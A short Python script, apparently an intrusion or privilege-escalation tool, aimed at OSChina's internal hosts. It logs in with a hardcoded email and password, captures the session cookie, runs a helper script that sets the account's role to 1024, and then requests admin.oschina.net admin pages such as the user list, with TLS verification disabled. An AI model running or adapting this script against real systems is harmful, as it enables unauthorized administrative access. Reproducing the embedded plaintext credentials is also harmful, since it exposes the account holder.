import http.client,ssl,urllib.parse,subprocess,sys
ctx=ssl._create_unverified_context()
def login():
    body=urllib.parse.urlencode({"email":"chengxinxin@oschina.cn","pwd":"12345qwert,"})
    c=http.client.HTTPConnection("10.0.0.13",8081,timeout=6)
    c.request("POST","/action/user/login",body=body,headers={"Host":"www.oschina.net","User-Agent":"Mozilla/5.0","Content-Type":"application/x-www-form-urlencoded"})
    r=c.getresponse(); r.read(100); hd=r.getheaders(); c.close()
    osc=None
    for k,v in hd:
        if k.lower()=="set-cookie" and v.startswith("oscid="): osc=v.split(";")[0]
    print("LOGIN",r.status,"osc",bool(osc))
    return osc
osc=login()
if not osc: sys.exit(1)
r=subprocess.run(["python3","/tmp/set_role.py","1024","chengxinxin@oschina.cn"],capture_output=True,text=True)
print("SETROLE",r.stdout.strip(),r.stderr.strip()[:200])
for path in ["/","/admin/pmp/v_users_admin/v_users_adminlist","/admin/index/d_aes"]:
    c=http.client.HTTPSConnection("10.0.0.54",443,timeout=6,context=ctx)
    c.request("GET",path,headers={"Host":"admin.oschina.net","User-Agent":"Mozilla/5.0","Cookie":osc,"Accept":"text/html","Referer":"https://admin.oschina.net/"})
    r2=c.getresponse(); d=r2.read(800); c.close()
    print("ADMIN",path,r2.status,"LOC",r2.getheader("Location"),"CT",(r2.getheader("Content-Type") or "")[:25],"LEN",len(d))
    print("  ",d[:300].decode("utf-8","replace").replace("\n"," "))
